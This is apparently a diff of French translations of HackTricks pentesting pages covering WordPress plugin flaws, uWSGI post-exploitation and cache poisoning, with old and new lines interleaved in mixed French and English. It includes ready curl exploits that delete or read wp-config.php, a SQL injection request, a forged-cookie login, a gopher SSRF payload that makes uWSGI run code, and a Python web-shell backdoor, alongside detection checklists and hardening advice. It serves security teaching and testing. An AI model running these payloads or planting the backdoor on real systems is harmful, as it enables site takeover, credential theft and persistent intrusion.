Les thèmes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsqu'on utilise la variante **_nopriv_** **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter :
|
||||
Les themes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsque la variante **_nopriv_** est utilisée **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter :
|
||||
|
||||
1. Une **vérification de capability** (par ex. `current_user_can()` ou au minimum `is_user_logged_in()`), et
|
||||
1. Un **contrôle de capability** (par ex. `current_user_can()` ou au moins `is_user_logged_in()`), et
|
||||
2. Un **nonce CSRF** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et
|
||||
3. **Sanitisation / validation stricte des entrées**.
|
||||
3. Une **sanitisation / validation stricte des entrées**.
|
||||
|
||||
Le thème multipurpose Litho (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par livrer le code suivant (simplifié) :
|
||||
```php
|
||||
@ -443,11 +443,11 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problèmes introduits par cet extrait :
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Accès non authentifié** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **No nonce / capability check** – tout visiteur peut appeler l'endpoint.
|
||||
* **Aucune sanitisation de chemin** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin du système de fichiers sans filtrage, permettant le classique parcours `../../`.
|
||||
* **Accès non authentifié** – le hook `wp_ajax_nopriv_` est enregistré.
|
||||
* **Pas de vérification du nonce / des capabilities** – tout visiteur peut appeler le endpoint.
|
||||
* **Pas de sanitisation du chemin** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin de fichier sans filtrage, permettant le classique `../../` traversal.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
@ -457,14 +457,14 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. Supprimer `wp-config.php` force WordPress à lancer l'*assistant d'installation* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
|
||||
Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. La suppression de `wp-config.php` force WordPress à lancer le *installation wizard* lors de la prochaine visite, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un admin user).
|
||||
|
||||
D'autres cibles impactantes incluent les fichiers `.php` de plugin/thème (pour neutraliser les plugins de sécurité) ou les règles `.htaccess`.
|
||||
D'autres cibles importantes incluent les fichiers plugin/theme `.php` (pour neutraliser les plugins de sécurité) ou les règles `.htaccess`.
|
||||
|
||||
#### Detection checklist
|
||||
#### Liste de contrôle de détection
|
||||
|
||||
* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des fonctions du système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concaténation d'entrées utilisateur non assainies dans des chemins (chercher `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des helpers du système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concaténation d'entrées utilisateur non assainies dans des chemins (recherchez `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence de `check_ajax_referer()` et de `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Durcissement
|
||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Toujours** considérer toute opération d'écriture/suppression sur le disque comme privilégiée et vérifier doublement :
|
||||
> • Authentification • Autorisation • Nonce • Assainissement des entrées • Confinement du chemin (par ex. via `realpath()` plus `str_starts_with()`).
|
||||
> **Toujours** traitez toute opération d'écriture/suppression sur le disque comme privilégiée et vérifiez attentivement :
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Élévation de privilèges via restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role")
|
||||
### Escalade de privilèges via restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role")
|
||||
|
||||
De nombreux plugins implémentent une fonction "view as role" ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) originaux dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration ne s'appuie que sur des paramètres de requête (par ex. `$_REQUEST['reset-for']`) et une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une élévation de privilèges verticale.
|
||||
De nombreux plugins implémentent une fonctionnalité "view as role" ou de changement de rôle temporaire en enregistrant le(s) rôle(s) d'origine dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration repose uniquement sur des paramètres de requête (par ex., `$_REQUEST['reset-for']`) et une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une escalade de privilèges verticale.
|
||||
|
||||
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles basée sur `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni un contrôle `current_user_can()` ni une vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis le user meta `_asenha_view_admin_as_original_roles` :
|
||||
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles en se basant sur `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni un contrôle `current_user_can()` ni une vérification du nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis le user meta `_asenha_view_admin_as_original_roles` :
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -511,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
}
|
||||
}
|
||||
```
|
||||
Pourquoi c'est exploitable
|
||||
Pourquoi c’est exploitable
|
||||
|
||||
- Se fie à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur.
|
||||
- Si un utilisateur avait auparavant des privilèges élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au chemin de réinitialisation.
|
||||
- Dans certains déploiements, tout utilisateur authentifié pourrait déclencher une réinitialisation pour un autre nom d'utilisateur encore présent dans `viewing_admin_as_role_are` (autorisation défaillante).
|
||||
- Fait confiance à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur.
|
||||
- Si un utilisateur avait précédemment des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au chemin de réinitialisation.
|
||||
- Dans certains déploiements, tout utilisateur authentifié pouvait déclencher une réinitialisation pour un autre nom d'utilisateur toujours présent dans `viewing_admin_as_role_are` (autorisation cassée).
|
||||
|
||||
Prérequis de l'attaque
|
||||
Attack prerequisites
|
||||
|
||||
- Version vulnérable du plugin avec la fonctionnalité activée.
|
||||
- Le compte cible possède un rôle à privilèges élevés obsolète stocké dans user meta depuis une utilisation antérieure.
|
||||
- Toute session authentifiée ; absence de nonce/capability sur le flux de reset.
|
||||
- Vulnerable plugin version with the feature enabled.
|
||||
- Target account has a stale high-privilege role stored in user meta from earlier use.
|
||||
- Any authenticated session; missing nonce/capability on the reset flow.
|
||||
|
||||
Exploitation (exemple)
|
||||
Exploitation (example)
|
||||
```bash
|
||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||
@ -531,36 +531,36 @@ Exploitation (exemple)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Sur les builds vulnérables, cela supprime les rôles actuels et réajoute les rôles originaux sauvegardés (p.ex., `administrator`), ce qui permet d'escalader les privilèges.
|
||||
Sur les builds vulnérables, cela supprime les rôles actuels et réajoute les rôles originaux sauvegardés (par ex., `administrator`), entraînant une escalade de privilèges.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Recherchez des fonctionnalités de changement de rôle qui conservent les « original roles » dans le user meta (p.ex., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiez les chemins de réinitialisation/restauration qui :
|
||||
- Lisent les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifient les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisent en se basant sur un tableau d'options du plugin (p.ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
|
||||
- Rechercher des fonctionnalités de changement de rôle qui conservent les rôles originaux dans user meta (par ex., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifier les chemins de reset/restauration qui :
|
||||
- Lire les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifier les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autoriser en se basant sur un tableau d'options du plugin (par ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
|
||||
|
||||
Durcissement
|
||||
Hardening
|
||||
|
||||
- Appliquez des vérifications de capacité sur chaque branche modifiant l'état (p.ex., `current_user_can('manage_options')` ou plus strict).
|
||||
- Exigez des nonces pour toutes les mutations de rôles/permissions et vérifiez-les : `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ne faites jamais confiance aux noms d'utilisateur fournis par la requête ; résolvez l'utilisateur cible côté serveur en fonction de l'acteur authentifié et d'une politique explicite.
|
||||
- Invalidez l'état des rôles originaux lors des mises à jour de profil / de rôle afin d'éviter la restauration obsolète de privilèges élevés :
|
||||
- Appliquer des contrôles de capacité sur chaque branche modifiant l'état (par ex., `current_user_can('manage_options')` ou plus strict).
|
||||
- Exiger des nonces pour toutes les modifications de rôle/permission et les vérifier : `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ne jamais faire confiance aux noms d'utilisateur fournis par la requête ; résoudre l'utilisateur cible côté serveur en fonction de l'acteur authentifié et d'une politique explicite.
|
||||
- Invalider l'état des rôles originaux lors des mises à jour du profil/du rôle pour éviter la restauration obsolète de privilèges élevés :
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Envisagez de stocker un état minimal et d'utiliser des jetons limités dans le temps et protégés par la capability pour les changements de rôle temporaires.
|
||||
- Envisagez de stocker un état minimal et d'utiliser des tokens limités dans le temps et protégés par capability pour les changements de rôle temporaires.
|
||||
|
||||
---
|
||||
|
||||
### Escalade de privilèges non authentifiée via cookie‑trusted user switching sur le hook public init (Service Finder “sf-booking”)
|
||||
### Élévation de privilèges sans authentification via user-switching basé sur cookie sur le hook public `init` (Service Finder “sf-booking”)
|
||||
|
||||
Certains plugins branchent des helpers de user-switching sur le hook public `init` et dérivent l'identité d'un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'un ID utilisateur arbitraire.
|
||||
Certains plugins connectent des helpers de user-switching au hook public `init` et dérivent l'identité depuis un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion avec n'importe quel ID utilisateur.
|
||||
|
||||
Schéma vulnérable typique (simplifié d'après Service Finder Bookings ≤ 6.1) :
|
||||
Pattern vulnérable typique (simplifié depuis Service Finder Bookings ≤ 6.1) :
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
@ -589,13 +589,13 @@ wp_die('Original user not found.');
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Pourquoi c’est exploitable
|
||||
Pourquoi c'est exploitable
|
||||
|
||||
- Le hook public `init` rend le gestionnaire accessible aux utilisateurs non authentifiés (absence de garde `is_user_logged_in()`).
|
||||
- Le hook public `init` rend le gestionnaire accessible aux utilisateurs non authentifiés (pas de garde `is_user_logged_in()`).
|
||||
- L'identité est dérivée d'un cookie modifiable par le client (`original_user_id`).
|
||||
- Un appel direct à `wp_set_auth_cookie($uid)` connecte le demandeur en tant que cet utilisateur sans aucune vérification de capability/nonce.
|
||||
- Un appel direct à `wp_set_auth_cookie($uid)` connecte le requérant en tant que cet utilisateur sans vérification des capabilities/nonce.
|
||||
|
||||
Exploitation (non authentifiée)
|
||||
Exploitation (sans authentification)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -605,32 +605,32 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
### Considérations WAF pour les CVE WordPress/plugins
|
||||
|
||||
Les WAF génériques côté edge/serveur sont réglés pour détecter des schémas larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des bugs logiques/auth spécifiques à l'application qui ressemblent à du trafic bénin, à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
|
||||
Les WAFs génériques en périphérie/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). De nombreuses vulnérabilités WordPress/plugins à fort impact sont des bugs de logique d'application ou d'authentification spécifiques à l'application qui ressemblent à du trafic bénin, sauf si le moteur comprend les routes WordPress et la sémantique des plugins.
|
||||
|
||||
Offensive notes
|
||||
Notes offensives
|
||||
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Testez d'abord les chemins non authentifiés (AJAX `nopriv`, REST avec permissive `permission_callback`, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation.
|
||||
- Cas typiques à fort impact : escalade de privilèges (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
Notes défensives
|
||||
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
- Ne comptez pas sur des signatures WAF génériques pour protéger les CVE des plugins. Mettez en place des correctifs virtuels spécifiques à la vulnérabilité au niveau application ou mettez à jour rapidement.
|
||||
- Privilégiez des contrôles de sécurité en mode positif dans le code (capabilities, nonces, validation stricte des entrées) plutôt que des filtres négatifs basés sur des regex.
|
||||
|
||||
## WordPress Protection
|
||||
## Protection WordPress
|
||||
|
||||
### Regular Updates
|
||||
### Mises à jour régulières
|
||||
|
||||
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:
|
||||
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Confirmez également que la mise à jour automatique est activée dans wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Also, **n'installez que des plugins et thèmes WordPress de confiance**.
|
||||
De plus, **n'installez que des plugins et thèmes WordPress fiables**.
|
||||
|
||||
### Plugins de sécurité
|
||||
|
||||
@ -640,14 +640,14 @@ Also, **n'installez que des plugins et thèmes WordPress de confiance**.
|
||||
|
||||
### **Autres recommandations**
|
||||
|
||||
- Supprimez l'utilisateur **admin** par défaut
|
||||
- Supprimez l'utilisateur par défaut **admin**
|
||||
- Utilisez des **mots de passe forts** et **2FA**
|
||||
- **Vérifiez** périodiquement les **autorisations** des utilisateurs
|
||||
- Passez **périodiquement en revue** les **autorisations** des utilisateurs
|
||||
- **Limitez les tentatives de connexion** pour prévenir les attaques Brute Force
|
||||
- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.
|
||||
- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès que depuis l'interne ou depuis certaines adresses IP.
|
||||
|
||||
|
||||
### Injection SQL non authentifiée via validation insuffisante (WP Job Portal <= 2.3.2)
|
||||
### SQL Injection non authentifiée due à une validation insuffisante (WP Job Portal <= 2.3.2)
|
||||
|
||||
Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()` :
|
||||
```php
|
||||
@ -662,8 +662,8 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
Problèmes introduits par cet extrait :
|
||||
|
||||
1. **Entrée utilisateur non assainie** – `parentid` provient directement de la requête HTTP.
|
||||
2. **Concaténation de chaînes dans la clause WHERE** – pas d'`is_numeric()` / `esc_sql()` / requête préparée.
|
||||
3. **Accessibilité sans authentification** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique intégrant le shortcode `[wpjobportal_my_resumes]`.
|
||||
2. **Concaténation de chaînes dans la clause WHERE** – pas de `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Accessible sans authentification** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
@ -679,7 +679,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant la présence d'une SQLi.
|
||||
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
@ -690,7 +690,7 @@ $file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` est contrôlé par l'attaquant et concaténé **sans assainissement**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page de CV.
|
||||
`$file_name` est contrôlé par l'attaquant et concaténé **sans assainissement**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page du CV.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -701,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Le serveur renvoie le contenu de `wp-config.php`, leaking DB credentials and auth keys.
|
||||
Le serveur répond avec le contenu de `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Références
|
||||
|
||||
|
170
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
170
src/network-services-pentesting/pentesting-web/wsgi.md
Normal file
@ -0,0 +1,170 @@
|
||||
# WSGI Post-Exploitation Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## WSGI Overview
|
||||
|
||||
Web Server Gateway Interface (WSGI) est une spécification qui décrit comment un serveur web communique avec des applications web, et comment des applications web peuvent être chaînées pour traiter une requête. uWSGI est l'un des serveurs WSGI les plus populaires, souvent utilisé pour servir des applications web Python.
|
||||
|
||||
## uWSGI Magic Variables Exploitation
|
||||
|
||||
uWSGI fournit des "magic variables" spéciales qui peuvent être utilisées pour configurer dynamiquement le comportement du serveur. Ces variables peuvent être définies via des en-têtes HTTP et peuvent conduire à de graves vulnérabilités de sécurité lorsqu'elles ne sont pas correctement validées.
|
||||
|
||||
### Key Exploitable Variables
|
||||
|
||||
#### `UWSGI_FILE` - Exécution arbitraire de fichiers
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /path/to/python/file.py;
|
||||
```
|
||||
Cette variable permet de charger et d'exécuter des fichiers Python arbitraires en tant qu'applications WSGI. Si un attaquant peut contrôler ce paramètre, il peut obtenir Remote Code Execution (RCE).
|
||||
|
||||
#### `UWSGI_SCRIPT` - Chargement de script
|
||||
```
|
||||
uwsgi_param UWSGI_SCRIPT module.path:callable;
|
||||
uwsgi_param SCRIPT_NAME /endpoint;
|
||||
```
|
||||
Charge un script spécifié comme une nouvelle application. Combiné avec des fonctionnalités de téléversement ou d'écriture de fichiers, cela peut conduire à RCE.
|
||||
|
||||
#### `UWSGI_MODULE` et `UWSGI_CALLABLE` - Chargement dynamique de modules
|
||||
```
|
||||
uwsgi_param UWSGI_MODULE malicious.module;
|
||||
uwsgi_param UWSGI_CALLABLE evil_function;
|
||||
uwsgi_param SCRIPT_NAME /backdoor;
|
||||
```
|
||||
Ces paramètres permettent de charger des modules Python arbitraires et d'appeler des fonctions spécifiques qui s'y trouvent.
|
||||
|
||||
#### `UWSGI_SETENV` - Manipulation des variables d'environnement
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
|
||||
```
|
||||
Peut être utilisé pour modifier des variables d'environnement, ce qui peut potentiellement affecter le comportement de l'application ou charger une configuration malveillante.
|
||||
|
||||
#### `UWSGI_PYHOME` - Python Environment Manipulation
|
||||
```
|
||||
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
|
||||
```
|
||||
Modifie l'environnement virtuel Python, pouvant charger des paquets malveillants ou différents interpréteurs Python.
|
||||
|
||||
#### `UWSGI_CHDIR` - Directory Traversal
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
```
|
||||
Change le répertoire de travail avant de traiter les requêtes, ce qui peut être utilisé pour des attaques de traversée de répertoires.
|
||||
|
||||
## SSRF + Gopher vers
|
||||
|
||||
### Le vecteur d'attaque
|
||||
|
||||
Lorsqu'uWSGI est accessible via SSRF (Server-Side Request Forgery), les attaquants peuvent interagir avec le socket interne uWSGI pour exploiter les variables magiques. Cela est particulièrement dangereux lorsque :
|
||||
|
||||
1. L'application présente des vulnérabilités SSRF
|
||||
2. uWSGI tourne sur un port/socket interne
|
||||
3. L'application ne valide pas correctement les variables magiques
|
||||
|
||||
uWSGI est accessible à cause de SSRF parce que le fichier de configuration `uwsgi.ini` contient : `socket = 127.0.0.1:5000`, le rendant accessible depuis l'application web via SSRF.
|
||||
|
||||
### Exemple d'exploitation
|
||||
|
||||
#### Étape 1 : Créer un payload malveillant
|
||||
First, inject Python code into a file accessible by the server (file write inside the server, the extension of the file doesn't matter):
|
||||
```python
|
||||
# Payload injected into a JSON profile file
|
||||
import os
|
||||
os.system("/readflag > /app/profiles/result.json")
|
||||
```
|
||||
#### Étape 2 : Composer une requête du protocole uWSGI
|
||||
Utilisez le protocole Gopher pour envoyer des paquets uWSGI bruts:
|
||||
```
|
||||
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
|
||||
```
|
||||
Ce payload :
|
||||
|
||||
- Se connecte à uWSGI sur le port 5000
|
||||
- Définit `UWSGI_FILE` pour pointer vers le fichier malveillant
|
||||
- Force uWSGI à charger et exécuter le code Python
|
||||
|
||||
### Structure du protocole uWSGI
|
||||
|
||||
Le protocole uWSGI utilise un format binaire où :
|
||||
- Les variables sont encodées sous forme de chaînes préfixées par leur longueur
|
||||
- Chaque variable a : `[name_length][name][value_length][value]`
|
||||
- Le paquet commence par un en-tête contenant la taille totale
|
||||
|
||||
## Techniques de post-exploitation
|
||||
|
||||
### 1. Backdoors persistantes
|
||||
|
||||
#### Backdoor basée sur un fichier
|
||||
```python
|
||||
# backdoor.py
|
||||
import subprocess
|
||||
import base64
|
||||
|
||||
def application(environ, start_response):
|
||||
cmd = environ.get('HTTP_X_CMD', '')
|
||||
if cmd:
|
||||
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
|
||||
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
|
||||
else:
|
||||
response = "Backdoor active"
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'text/plain')])
|
||||
return [response.encode()]
|
||||
```
|
||||
Ensuite, utilisez `UWSGI_FILE` pour charger cette backdoor:
|
||||
```
|
||||
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
|
||||
uwsgi_param SCRIPT_NAME /admin;
|
||||
```
|
||||
#### Persistance basée sur l'environnement
|
||||
```
|
||||
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
|
||||
```
|
||||
### 2. Divulgation d'informations
|
||||
|
||||
#### Vidage des variables d'environnement
|
||||
```python
|
||||
# env_dump.py
|
||||
import os
|
||||
import json
|
||||
|
||||
def application(environ, start_response):
|
||||
env_data = {
|
||||
'os_environ': dict(os.environ),
|
||||
'wsgi_environ': dict(environ)
|
||||
}
|
||||
|
||||
start_response('200 OK', [('Content-Type', 'application/json')])
|
||||
return [json.dumps(env_data, indent=2).encode()]
|
||||
```
|
||||
#### Accès au système de fichiers
|
||||
Utilisez `UWSGI_CHDIR` combiné au service de fichiers pour accéder à des fichiers sensibles:
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /etc/;
|
||||
uwsgi_param UWSGI_FILE /app/file_server.py;
|
||||
```
|
||||
### 3. Privilege Escalation
|
||||
|
||||
#### Socket Manipulation
|
||||
Si uWSGI s'exécute avec des privilèges élevés, les attaquants pourraient manipuler les permissions du socket :
|
||||
```
|
||||
uwsgi_param UWSGI_CHDIR /tmp;
|
||||
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
|
||||
```
|
||||
#### Remplacement de configuration
|
||||
```python
|
||||
# malicious_config.py
|
||||
import os
|
||||
|
||||
# Override uWSGI configuration
|
||||
os.environ['UWSGI_MASTER'] = '1'
|
||||
os.environ['UWSGI_PROCESSES'] = '1'
|
||||
os.environ['UWSGI_CHEAPER'] = '1'
|
||||
```
|
||||
## Références
|
||||
|
||||
- [uWSGI Magic Variables Documentation](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
|
||||
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
|
||||
- [uWSGI Security Best Practices](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -6,26 +6,26 @@
|
||||
|
||||
> **Quelle est la différence entre web cache poisoning et web cache deception ?**
|
||||
>
|
||||
> - Dans **web cache poisoning**, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application.
|
||||
> - Dans **web cache deception**, l'attaquant provoque le stockage d'un contenu sensible appartenant à un autre utilisateur dans le cache, puis récupère ce contenu depuis le cache.
|
||||
> - Dans **web cache poisoning**, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
|
||||
> - Dans **web cache deception**, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l'attaquant récupère ce contenu depuis le cache.
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
L'objectif du cache poisoning est de manipuler le cache côté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrôle d'un attaquant. L'étendue de l'impact dépend de la popularité de la page affectée, car la réponse altérée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.
|
||||
Le cache poisoning vise à manipuler le cache côté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrôle d'un attaquant. L'ampleur de l'impact dépend de la popularité de la page affectée, puisque la réponse empoisonnée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.
|
||||
|
||||
L'exécution d'une attaque de cache poisoning implique plusieurs étapes :
|
||||
|
||||
